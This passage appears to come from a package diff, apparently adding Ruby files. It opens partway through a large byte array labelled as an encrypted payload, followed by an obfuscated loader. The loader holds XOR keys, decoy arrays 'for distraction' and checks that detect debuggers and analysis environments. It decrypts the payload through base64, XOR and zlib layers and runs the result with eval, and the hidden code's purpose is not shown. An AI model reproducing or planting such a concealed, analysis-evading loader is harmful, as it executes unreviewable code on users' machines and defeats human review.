73, 57, 32, 72, 148, 179, 176, 144, 111, 52, 219, 241, 139, 201, 51, 128, 130, 216, 171, 43, 135, 194, 115, 34, 207, 90, 65, 155, 141, 2, 198, 65, 235, 83, 93, 183, 185, 213, 35, 248, 47, 42, 126, 40, 147, 107, 206, 79, 213, 136, 160, 254, 71, 43, 36, 71, 169, 51, 70, 157, 184, 182, 54, 193, 15, 217, 220, 92, 237, 35, 138, 225, 56, 100, 222, 38, 69, 196, 72, 124, 135, 239, 51, 42, 222, 53, 142, 221, 5, 145, 197, 171, 211, 187, 119, 73, 3, 1, 75, 4, 123, 35, 226, 193, 238, 137, 83, 58, 167, 232, 174, 165, 30, 242, 208, 192, 176, 42, 241, 26, 63, 112, 165, 120, 254, 42, 72, 89, 254, 101, 125, 201, 179, 118, 108, 17, 221, 198, 179, 78, 25, 75, 28, 196, 23, 224, 51, 230, 81, 37, 1, 166, 62, 133, 99, 77, 238, 53, 200, 8, 42, 173, 162, 119, 97, 82, 96, 173, 52, 228, 176, 14, 28, 124, 115, 0, 42, 210, 227, 178, 235, 120, 48, 128, 144, 213, 185, 146, 135, 36, 164, 132, 42, 46, 11, 178, 133, 28, 224, 171, 43, 55, 122, 206, 8, 191, 27, 146, 122, 52, 180, 180, 136, 128, 74, 9, 131, 240, 69, 160, 139, 111, 25, 18, 29, 37, 243, 122, 12, 243, 88, 170, 63, 80, 159, 80, 167, 164, 63, 163, 246, 19, 133, 241, 62, 202, 133, 163, 52, 178, 43, 104, 227, 179, 69, 36, 67, 240, 247, 37, 207, 149, 169, 149, 134, 252, 194, 148, 0, 38, 199, 26, 124, 181, 241, 146, 248, 144, 103, 166, 108, 157, 198, 96, 65, 196, 189, 245, 27, 135, 248, 31, 139, 171, 127, 215, 236, 196, 151, 96, 57, 95, 140, 83, 186, 184, 227, 139, 31, 71, 157, 138, 113, 9, 199, 107, 69, 37, 176, 163, 113, 252, 61, 240, 180, 42, 208, 220, 248, 188, 86, 106, 95, 75, 219, 87, 147, 118, 232, 46, 52, 232, 101, 70, 173, 61, 227, 182, 100, 131, 109, 142, 143, 18, 249, 64, 131, 42, 159, 241, 61, 38, 247, 29, 206, 9, 117, 0, 245, 143, 145, 163, 66, 226, 83, 246, 52, 225, 54, 46, 20, 219, 129, 252, 76, 106, 227, 227, 171, 110, 175, 36, 251, 240, 230, 72, 171, 42, 255, 60, 36, 195, 139, 196, 139, 244, 237, 251, 20, 175, 19, 35, 178, 239, 42, 103, 121, 0, 229, 255, 108, 56, 183, 71, 143, 245, 95, 148, 40, 233, 47, 244, 157, 95, 105, 247, 52, 203, 155, 99, 116, 205, 16, 132, 133, 20, 76, 75, 11, 218, 152, 164, 120, 253, 26, 44, 247, 186, 157, 210, 57, 172, 26, 87, 205, 55, 55, 252, 212, 173, 68, 34, 255, 54, 194, 223, 197, 59, 54, 113, 232, 115, 39, 174, 225, 183, 82, 8, 234, 125, 155, 119, 58, 242, 195, 67, 183, 87, 60, 193, 113, 112, 97, 235, 44, 177, 32, 180, 21, 116, 234, 92, 189, 190, 50, 199, 254, 199, 169, 105, 100, 44, 120, 197, 166, 157, 206, 180, 223, 16, 100, 33, 98, 175, 78, 193, 207, 252, 26, 229, 134, 183, 3, 68, 203, 118, 229, 175, 10, 220, 109, 182, 217, 186, 135, 46, 41, 14, 5, 148, 31, 123, 255, 194, 240, 87, 23, 13, 197, 207, 248, 16, 159, 195, 91, 50, 189, 255, 41, 110, 170, 14, 163, 224, 39, 239, 66, 219, 134, 202, 108, 234, 97, 57, 247, 83, 57, 116, 214, 37, 82, 168, 200, 165, 42, 73, 71, 127, 4, 15, 245, 158, 32, 116, 217, 21, 237, 247, 122, 190, 184, 226, 35, 109, 150, 97, 100, 251, 248, 119, 109, 50, 213, 128, 188, 95, 248, 117, 33, 137, 50, 254, 14, 201, 72, 132, 126, 161, 187, 83, 46, 179, 11, 195, 3, 92, 33, 13, 28, 55, 73, 20, 174, 93, 33, 250, 32, 79, 251, 176, 63, 99, 106, 208, 247, 145, 163, 148, 56, 248, 175, 141, 8, 208, 126, 133, 73, 21, 99, 249, 111, 39, 27, 30, 210, 166, 163, 161, 209, 211, 138, 176, 115, 142, 64, 84, 165, 160, 6, 179, 219, 12, 126, 18, 15, 247, 112, 5, 194, 240, 172, 103, 184, 113, 203, 89, 149, 220, 237, 113, 79, 197, 179, 235, 199, 254, 169, 1, 224, 195, 27, 250, 20, 22, 127, 161, 31, 28, 26, 88, 139, 162, 64, 231, 56, 216, 59, 252, 105, 176, 70, 196, 0, 161, 90, 8, 222, 45, 127, 47, 37, 132, 87, 25, 152, 68, 78, 8, 51, 87, 12, 201, 251, 47, 40, 104, 30, 210, 246, 15, 22, 160, 182, 44, 117, 24, 28, 13, 182, 19, 59, 111, 184, 230, 13, 109, 73, 35, 25, 38, 131, 81, 253, 250, 197, 246, 2, 222, 181, 150, 191, 43, 165, 204, 48, 4, 95, 194, 197, 8, 57, 100, 150, 215, 29, 238, 251, 174, 167, 245, 34, 99, 205, 105, 83, 94, 245, 136, 64, 199, 218, 63, 33, 213, 55, 96, 236, 15, 17, 205, 249, 239, 5, 10, 49, 98, 244, 150, 155, 132, 160, 207, 153, 202, 90, 196, 196, 183, 52, 102, 44, 245, 174, 188, 226, 55, 167, 37, 77, 203, 11, 215, 193, 182, 115, 174, 185, 38, 206, 144, 44, 131, 192, 191, 132, 176, 75, 125, 159, 70, 23, 73, 103, 74, 194, 108, 187, 177, 44, 65, 12, 52, 239, 66, 141, 248, 185, 55, 222, 151, 234, 117, 144, 66, 124, 144, 89, 54, 185, 91, 250, 91, 234, 238, 237, 102, 36, 149, 76, 87, 0, 196, 1, 227, 220, 200, 101, 252, 166, 50, 159, 98, 229, 53, 26, 226, 89, 100, 58, 171, 69, 67, 149, 49, 90, 190, 86, 47, 214, 160, 110, 209, 48, 245, 104, 161, 244, 14, 229, 171, 21, 163, 58, 247, 93, 45, 95, 123, 156, 64, 25, 59, 57, 19, 135, 52, 80, 107, 251, 100, 177, 220, 105, 162, 26, 52, 125, 139, 168, 120, 12, 140, 40, 41, 213, 100, 192, 213, 85, 95, 185, 196, 208, 64, 14, 215, 239, 242, 230, 155, 183, 166, 221, 252, 38, 120, 77, 109, 66, 254, 251, 52, 78, 157, 188, 59, 98, 214, 215, 131, 49, 81, 190, 255, 200, 126, 141, 49, 75, 9, 7, 11, 99, 218, 75, 147, 74, 33, 76, 213, 118, 189, 157, 48, 232, 21, 6, 197, 214, 25, 64, 196, 198, 106, 187, 137, 106, 45, 238, 119, 110, 233, 119, 203, 181, 60, 217, 102, 209, 56, 200, 18, 84, 124, 106, 112, 123, 247, 170, 53, 141, 28, 159, 235, 15, 174, 16, 228, 55, 107, 2, 74, 6, 30, 102, 37, 216, 41, 224, 72, 5, 232, 251, 10, 48, 156, 218, 122, 182, 216, 232, 97, 75, 130, 58, 236, 16, 213, 185, 40, 38, 145, 122, 6, 29, 6, 136, 37, 222, 4, 85, 224, 176, 178, 82, 122, 28, 234, 250, 139, 212, 147, 227, 123, 239, 43, 154, 29, 57, 168, 182, 40, 108, 174, 65, 224, 207, 232, 41, 69, 28, 131, 118, 74, 172, 214, 3, 78, 180, 141, 209, 85, 162, 55, 180, 95, 85, 81, 138, 207, 202, 94, 241, 120, 199, 127, 119, 12, 199, 254, 74, 77, 106, 171, 177, 202, 248, 87, 130, 202, 131, 160, 164, 31, 166, 246, 136, 154, 252, 99, 159, 60, 72, 28, 169, 240, 53, 37, 104, 35, 215, 135, 55, 9, 204, 76, 145, 15, 178, 47, 123, 54, 227, 154, 8, 57, 222, 139, 75, 247, 108, 152, 196, 58, 176, 16, 245, 160, 247, 139, 199, 1, 53, 46, 120, 46, 153, 251, 142, 186, 42, 91, 82, 110, 179, 207, 155, 57, 157, 97, 0, 248, 253, 83, 199, 244, 187, 67, 182, 140, 64, 9, 153, 229, 141, 243, 211, 140, 167, 187, 41, 71, 80, 159, 44, 207, 108, 196, 197, 34, 9, 134, 35, 109, 178, 119, 56, 27, 139, 197, 7, 164, 29, 0, 50, 99, 39, 69, 82, 184, 114, 208, 118, 31, 57, 29, 25, 128, 32, 152, 249, 247, 53, 195, 192, 36, 187, 115, 139, 43, 104, 170, 200, 119, 180, 244, 201, 84, 252, 50, 94, 246, 62, 153, 104, 23, 30, 224, 118, 246, 25, 37, 168, 166, 113, 124, 152, 86, 104, 105, 254, 14, 22, 39, 253, 126, 109, 70, 114, 53, 37, 217, 12, 226, 88, 251, 86, 123, 53, 161, 85, 98, 2, 2, 132, 43, 13, 117, 3, 79, 44, 137, 3, 244, 198, 89, 217, 174, 204, 50, 243, 246, 229, 20, 101, 115, 193, 27, 134, 11, 100, 9, 50, 206, 54, 154, 65, 15, 222, 163, 125, 70, 128, 237, 168, 55, 142, 183, 99, 117, 203, 122, 19, 24, 200, 59, 37, 190, 27, 197, 244, 164, 175, 11, 180, 226, 125, 113, 147, 94, 226, 91, 35, 191, 132, 21, 199, 78, 173, 187, 70, 141, 91, 28, 138, 229, 109, 14, 117, 137, 73, 254, 125, 190, 45, 107, 143, 80, 142, 98, 180, 108, 153, 78, 86, 77, 183, 253, 235, 171, 11, 146, 53, 92, 123, 114, 168, 152, 24, 24, 8, 172, 11, 19, 248, 44, 16, 136, 67, 141, 255, 93, 128, 157, 97, 30, 226, 124, 165, 227, 185, 62, 172, 125, 89, 213, 212, 142, 183, 200, 195, 252, 61, 203, 90, 224, 245, 143, 146, 121, 99, 234, 216, 201, 173, 93, 135, 11, 208, 1, 241, 40, 178, 179, 145, 118, 255, 172, 186, 47, 170, 243, 105, 82, 104, 25, 173, 125, 14, 255, 173, 179, 1, 25, 254, 225, 185, 215, 75, 238, 157, 88, 255, 82, 252, 90, 63, 160, 71, 141, 182, 120, 32, 167, 58, 37, 13, 73, 88, 197, 122, 87, 234, 178, 136, 3, 209, 64, 150, 205, 229, 160, 202, 79, 111, 152, 177, 188, 127, 41, 110, 115, 62, 151, 83, 234, 15, 228, 161, 118, 255, 1, 34, 247, 156, 142, 206, 187, 134, 23, 33, 240, 164, 137, 127, 141, 255, 180, 125, 24, 143, 216, 77, 97, 101, 114, 207, 111, 42, 150, 151, 195, 46, 168, 203, 222, 181, 219, 153, 75, 202, 58, 119, 66, 171, 103, 97, 53, 211, 138, 117, 105, 170, 71, 150, 132, 13, 241, 58, 85, 204, 28, 49, 221, 111, 249, 64, 208, 24, 21, 7, 100, 11, 113, 146, 157, 187, 171, 118, 111, 227, 158, 113, 217, 169, 229, 143, 162, 227, 46, 227, 207, 186, 157, 223, 189, 52, 221, 67, 23, 5, 39, 169, 148, 91, 188, 219, 213, 87, 37, 228, 146, 168, 174, 191, 228, 18, 23, 114, 105, 189, 239, 24, 89, 9, 211, 73, 185, 172, 135, 181, 178, 207, 124, 228, 177, 38, 217, 148, 47, 1, 217, 74, 176, 39, 237, 203, 160, 170, 145, 63, 83, 28, 157, 50, 179, 78, 41, 71, 218, 160, 212, 80, 5, 247, 187, 127, 196, 129, 171, 163, 132, 34, 185, 48, 191, 96, 172, 50, 137, 229, 56, 28, 197, 223, 189, 58, 188, 6, 82, 83, 8, 164, 53, 19, 228, 131, 2, 60, 216, 174, 172, 13, 76, 122, 45, 50, 227, 60, 204, 193, 103, 107, 70, 148, 183, 24, 215, 232, 231, 42, 79, 249, 157, 204, 151, 112, 29, 40, 253, 20, 9, 223, 156, 73, 161, 3, 17, 98, 198, 158, 58, 64, 76, 43, 119, 240, 84, 120, 248, 180, 11, 82, 74, 162, 24, 133, 236, 29, 73, 5, 157, 65, 149, 190, 115, 109, 71, 120, 68, 120, 165, 75, 175, 201, 144, 37, 230, 158, 126, 246, 181, 9, 79, 125, 1, 217, 232, 124, 177, 82, 160, 98, 12, 182, 10, 169, 230, 91, 146, 110, 100, 238, 173, 241, 64, 187, 81, 84, 131, 34, 54, 157, 158, 218, 230, 93, 62, 130, 69, 67, 23, 49, 212, 122, 66, 14, 113, 217, 46, 62, 42, 58, 134, 157, 7, 148, 204, 104, 82, 160, 101, 48, 104, 251, 241, 113, 207, 88, 141, 13, 117, 186, 242, 60, 148, 118, 165, 214, 20, 216, 103, 110, 34, 233, 24, 54, 1, 9, 242, 14, 173, 225, 228, 1, 253, 77, 255, 202, 131, 47, 142, 112, 166, 88, 110, 116, 53, 17, 34, 159, 157, 202, 19, 217, 184, 32, 116, 0, 124, 218, 16, 224, 215, 184, 61, 160, 54, 253, 42, 54, 131, 241, 18, 124, 249, 255, 242, 238, 3, 181, 71, 38, 171, 108, 246, 219, 75, 150, 148, 144, 102, 81, 137, 5, 220, 224, 111, 122, 209, 192, 187, 219, 199, 243, 171, 139, 242, 114, 107, 189, 175, 173, 4, 220, 79, 22, 230, 56, 42, 214, 112, 246, 34, 242, 23, 224, 177, 33, 232, 144, 24, 235, 156, 171, 0, 240, 56, 8, 54, 137, 221, 156, 233, 133, 143, 49, 249, 156, 22, 18, 7, 0, 17, 213, 98, 116, 107, 196, 248, 133, 109, 81, 23, 104, 246, 168, 87, 86, 41, 79, 209, 165, 244, 231, 242, 114, 160, 36, 164, 227, 231, 109, 68, 142, 29, 106, 136, 68, 254, 225, 27, 118, 45, 58, 138, 85, 10, 31, 221, 176, 218, 228, 136, 18, 136, 223, 67, 56, 12, 101, 208, 127, 163, 79, 5, 40, 51, 253, 159, 55, 231, 187, 109, 104, 16, 50, 164, 25, 189, 14, 110, 19, 41, 155, 126, 102, 214, 108, 165, 149, 232, 63, 64, 254, 179, 111, 91, 160, 108, 172, 124, 204, 202, 198, 210, 246, 97, 94, 160, 194, 37, 244, 115, 104, 162, 35, 18, 14, 63, 174, 208, 7, 179, 99, 195, 35, 210, 136, 17, 220, 142, 158, 42, 154, 50, 111, 242, 16, 129, 252, 147, 134, 173, 1, 249, 15, 222, 116, 62, 27, 176, 114, 40, 67, 167, 166, 159, 231, 200, 41, 118, 200, 59, 85, 163, 144, 9, 108, 45, 87, 75, 31, 34, 50, 86, 26, 124, 233, 68, 252, 203, 179, 194, 248, 239, 143, 203, 12, 55, 61, 233, 216, 143, 42, 200, 182, 146, 177, 119, 143, 73, 141, 216, 34, 49, 135, 1, 250, 108, 213, 211, 90, 15, 86, 255, 142, 11, 231, 32, 83, 7, 107, 138, 91, 42, 143, 227, 156, 221, 159, 33, 244, 199, 176, 164, 86, 11, 68, 106, 123, 31, 198, 139, 99, 132, 207, 90, 210, 146, 25, 53, 192, 99, 225, 86, 63, 112, 245, 48, 239, 31, 19, 193, 117, 212, 202, 74, 241, 194, 187, 182, 153, 51, 46, 224, 90, 249, 27, 224, 190, 202, 194, 227, 208, 247, 179, 138, 113, 239, 187, 136, 227, 102, 250, 40, 16, 141, 38, 81, 53, 241, 201, 156, 68, 113, 225, 23, 74, 242, 34, 140, 243, 107, 211, 189, 174, 46, 77, 46, 102, 159, 168, 100, 59, 81, 54, 4, 3, 1, 193, 150, 43, 242, 211, 192, 32, 232, 227, 0, 185, 251, 180, 219, 242, 45, 198, 70, 18, 248, 127, 212, 140, 34, 173, 203, 96, 63, 76, 226, 249, 24, 216, 136, 225, 168, 71, 253, 204, 81, 133, 122, 216, 174, 227, 156, 235, 225, 25, 57, 26, 80, 246, 182, 118, 52, 243, 24, 174, 53, 55, 106, 33, 88, 79, 146, 250, 132, 174, 89, 153, 114, 87, 56, 109, 255, 199, 73, 83, 191, 87, 172, 187, 252, 29, 233, 254, 170, 70, 143, 80, 198, 29, 122, 67, 130, 94, 20, 254, 242, 191, 110, 77, 1, 16, 69, 232, 92, 113, 152, 212, 189, 160, 33, 228, 144, 125, 201, 118, 102, 74, 122, 97, 156, 60, 55, 239, 30, 157, 231, 43, 59, 218, 232, 236, 124, 189, 0, 53, 111, 0, 52, 232, 231, 15, 77, 114, 239, 218, 52, 146, 205, 137, 202, 255, 40, 66, 201, 111, 18, 176, 36, 122, 225, 127, 54, 49, 69, 191, 95, 103, 148, 69, 29, 43, 81, 78, 92, 99, 142, 53, 102, 222, 66, 216, 195, 216, 50, 217, 119, 179, 143, 143, 231, 31, 9, 205, 51, 230, 229, 42, 166, 78, 59, 119, 104, 104, 60, 36, 131, 109, 7, 241, 152, 108, 244, 76, 93, 31, 44, 254, 80, 142, 204, 240, 225, 122, 122, 59, 236, 106, 145, 0, 67, 164, 138, 194, 117, 117, 52, 56, 139, 242, 200, 72, 66, 107, 87, 219, 62, 123, 107, 126, 13, 26, 243, 63, 111, 233, 220, 199, 163, 77, 71, 151, 140, 78, 193, 86, 110, 14, 165, 51, 17, 13, 145, 247, 236, 15, 184, 130, 246, 54, 152, 45, 148, 206, 190, 14, 225, 196, 238, 189, 146, 131, 53, 179, 14, 151, 163, 14, 184, 71, 86, 130, 242, 216, 80, 43, 46, 23, 81, 227, 53, 114, 146, 118, 135, 156, 189, 253, 41, 217, 82, 26, 62, 158, 125, 139, 156, 5, 113, 251, 246, 223, 223, 217, 158, 126, 130, 36, 117, 210, 220, 68, 227, 214, 51, 78, 123, 183, 133, 25, 24, 1, 97, 12, 33, 144, 222, 234, 85, 141, 191, 150, 200, 255, 74, 190, 67, 205, 188, 145, 93, 1, 74, 161, 118, 22, 178, 71, 117, 21, 182, 129, 96, 255, 48, 207, 178, 13, 66, 170, 223, 88, 163, 18, 190, 53, 47, 1, 51, 221, 65, 57, 252, 26, 135, 72, 208, 251, 134, 22, 126, 85, 171, 31, 189, 15, 188, 135, 65, 190, 174, 228, 145, 20, 81, 177, 220, 55, 251, 138, 183, 253, 231, 242, 23, 92, 181, 171, 240, 237, 104, 251, 122, 245, 173, 70, 140, 225, 126, 28, 170, 147, 81, 188, 12, 44, 167, 87, 179, 222, 204, 228, 63, 89, 12, 110, 125, 40, 15, 57, 71, 4, 93, 94, 82, 33, 75, 27, 204, 26, 38, 252, 61, 149, 15, 238, 227, 136, 33, 229, 149, 22, 61, 121, 146, 1, 43, 122, 214, 114, 191, 122, 124, 225, 14, 199, 7, 90, 239, 253, 179, 150, 129, 24, 179, 146, 217, 59, 9, 116, 85, 244, 31, 240, 248, 147, 253, 86, 116, 88, 87, 125, 183, 112, 50, 205, 169, 189, 1, 106, 10, 139, 149, 148, 173, 97, 203, 58, 69, 54, 22, 26, 228, 155, 144, 129, 146, 158, 168, 250, 149, 42, 45, 101, 128, 58, 154, 56, 145, 163, 131, 214, 233, 166, 99, 135, 85, 86, 82, 84, 232, 82, 72, 168, 156, 161, 208, 9, 38, 251, 247, 169, 91, 209, 16, 195, 124, 8, 14, 6, 36, 151, 125, 154, 90, 249, 32, 205, 160, 16, 122, 251, 69, 76, 113, 59, 42, 134, 191, 251, 189, 120, 240, 140, 118, 124, 133, 20, 220, 133, 65, 230, 19, 97, 147, 174, 169, 51, 207, 227, 35, 23, 161, 242, 194, 127, 211, 119, 202, 62, 10, 217, 160, 109, 183, 191, 169, 238, 197, 134, 135, 41, 80, 128, 46, 1, 164, 67, 181, 220, 74, 176, 200, 233, 47, 35, 220, 15, 20, 238, 61, 52, 161, 15, 116, 239, 131, 20, 137, 200, 238, 176, 167, 220, 188, 165, 119, 64, 244, 186, 103, 219, 242, 181, 85, 78, 3, 233, 86, 120, 107, 75, 179, 235, 195, 96, 74, 46, 85, 182, 167, 124, 216, 65, 113, 178, 20, 208, 35, 39, 255, 215, 45, 7, 173, 93, 19, 67, 236, 112, 176, 188, 167, 162, 181, 101, 245, 73, 40, 5, 155, 122, 82, 214, 113, 202, 2, 204, 51, 144, 77, 168, 76, 232, 12, 103, 93, 87, 234, 120, 67, 51, 255, 23, 123, 195, 210, 79, 216, 136, 172, 22, 125, 102, 198, 116, 180, 213, 2, 40, 5, 69, 165, 206, 171, 110, 233, 78, 165, 18, 80, 2, 52, 190, 203, 42, 224, 30, 137, 204, 3, 97, 25, 53, 137, 55, 128, 245, 138, 79, 113, 38, 41, 252, 205, 121, 250, 156, 70, 74, 146, 249, 153, 46, 55, 11, 177, 223, 96, 43, 235, 224, 184, 216, 30, 14, 34, 246, 89, 46, 94, 113, 251, 33, 248, 72, 4, 252, 141, 116, 224, 176, 162, 93, 74, 166, 212, 242, 233, 215, 179, 193, 54, 237, 50, 138, 23, 238, 92, 172, 38, 114, 30, 125, 163, 134, 98, 203, 143, 224, 34, 5, 171, 56, 143, 242, 1, 197, 250, 52, 161, 201, 67, 206, 158, 190, 73, 63, 102, 221, 139, 82, 95, 201, 230, 174, 187, 117, 72, 212, 100, 183, 223, 31, 138, 241, 119, 102, 91, 89, 191, 52, 143, 110, 44, 112, 46, 43, 23, 1, 36, 78, 124, 15, 140, 184, 24, 54, 217, 87, 125, 32, 169, 191, 201, 90, 104, 124, 244, 33, 14, 174, 105, 55, 150, 21, 67, 72, 152, 84, 67, 185, 212, 189, 249, 249, 12, 86, 10, 27, 249, 88, 75, 134, 20, 30, 44, 147, 58, 108, 52, 218, 4, 190, 116, 96, 85, 41, 11, 169, 120, 173, 31, 100, 110, 208, 15, 137, 188, 215, 147, 34, 206, 29, 233, 75, 96, 14, 242, 138, 63, 185, 211, 105, 53, 226, 99, 33, 230, 67, 121, 164, 120, 103, 153, 6, 133, 109, 102, 152, 203, 126, 85, 47, 0, 73, 142, 25, 212, 196, 123, 134, 231, 93, 210, 218, 68, 130, 162, 75, 22, 34, 96, 45, 154, 244, 16, 3, 98, 54, 165, 70, 51, 217, 53, 237, 63, 168, 165, 137, 18, 57, 212, 63, 180, 129, 53, 30, 33, 52, 123, 32, 228, 100, 16, 133, 52, 155, 40, 135, 119, 53, 59, 97, 199, 223, 53, 174, 106, 89, 52, 208, 88, 233, 223, 207, 27, 104, 36, 41, 233, 123, 193, 61, 0, 25] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_ee7fd70 = [160, 25, 95, 61, 42, 40, 7, 172, 91, 182, 88, 163, 54, 167, 99, 39, 118, 253, 86, 132]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_s0615a7 = [0, 0, 1, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_w14df71 = '46136dd01842a5f6623f140547938a3ed1091abee49b6cd3ace4627111570448'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_h3390aa = [8, 92, 213, 11, 228, 97, 80, 81, 27, 132, 78, 114, 133, 135, 138, 216, 34, 84, 99, 59, 14, 40, 151, 33, 110, 19, 127, 74, 175, 213, 148, 104, 222, 107, 4, 146, 28, 40, 235, 254, 255, 93, 83, 137, 185, 207, 81, 102, 91, 13, 230, 120, 190, 135, 20, 227, 59, 18, 200, 94, 4]
|
|
64
|
+
_o4a1487 = [173, 227, 146, 170, 208, 33, 115, 97, 132, 250, 243, 251, 164, 108, 115, 99, 148, 168, 206, 96, 79, 78, 150, 109, 9, 1, 177, 162, 182, 32, 175, 237, 184, 84, 9, 161, 21, 235, 143, 151, 82, 215, 217, 13, 91, 235, 253, 68, 234, 144, 78, 193, 234, 176, 16, 150, 154, 77, 165, 124, 71, 180, 105, 228, 159, 90, 247, 106, 164, 96, 187, 221, 117, 165, 196, 209, 122, 22, 90, 232, 29, 210, 12, 65, 96, 27, 87, 71, 55, 166, 40, 88, 239, 226, 207, 77, 40, 162, 25, 41, 130, 190, 252, 102, 85, 125, 200, 71, 62, 188, 93, 52, 11, 183, 138, 64, 37, 128, 94, 214, 76, 227, 36, 170, 112, 166, 254, 194, 130, 202, 162, 112, 183, 129, 177, 27, 19, 153, 85, 38, 129, 198, 123, 170, 255, 208]
|
|
65
|
+
_u65077c = [11, 19, 237, 25, 16, 124, 238, 29, 49, 14, 59, 220, 36, 111, 74, 179, 142, 11, 11, 217, 127, 61, 170, 208, 164, 119, 155, 206, 121, 227, 120, 228, 154, 99, 0, 123, 223, 117, 134, 227, 225, 73, 33, 98, 216, 95, 188, 119, 37, 143, 83, 184, 208, 65, 233]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _wcb1ea8.call(_m60c158, _s0615a7, _ee7fd70, _w14df71)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_sc63e81 = _m60c158.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_l55ed88|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_d5591c8 = 5 - _l55ed88 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_of59a6b = 4
|
|
84
|
+
_m507b3b = _d5591c8 * _of59a6b
|
|
85
|
+
_g53e7eb = _ee7fd70[_m507b3b, _of59a6b]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _s0615a7[_d5591c8] == 1
|
|
93
|
+
_g7f1129 = _sc63e81.pack('C*')
|
|
94
|
+
_g7f1129 = Base64.strict_decode64(_g7f1129)
|
|
95
|
+
_sc63e81 = _g7f1129.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_sc63e81 = _wd314a4.call(_sc63e81, _g53e7eb)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_g7f1129 = _sc63e81.pack('C*')
|
|
103
|
+
_g7f1129 = Zlib::Inflate.inflate(_g7f1129)
|
|
104
|
+
_sc63e81 = _g7f1129.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_jb98a94 = _sc63e81.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _jb98a94.strip.empty? || _jb98a94.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_jb98a94, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _f564862
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_f564862.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_fc44ce8 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_ke76d52 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _ke76d52) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_ca1e137 = _fc44ce8.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_ufa4792 = ->(_y0d14a9, _p39910f) do
|
|
32
|
+
_f56c704 = []
|
|
33
|
+
_y0d14a9.each_with_index do |byte, idx|
|
|
34
|
+
_f56c704 << (byte ^ _p39910f[idx % _p39910f.length])
|
|
35
|
+
end
|
|
36
|
+
_f56c704
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_qd9e30b = lambda do |_a263d81, _c162645, _r48ee42, _xe30eaa|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_a263d81.pack('C*'))
|
|
44
|
+
if current_hash != _xe30eaa
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
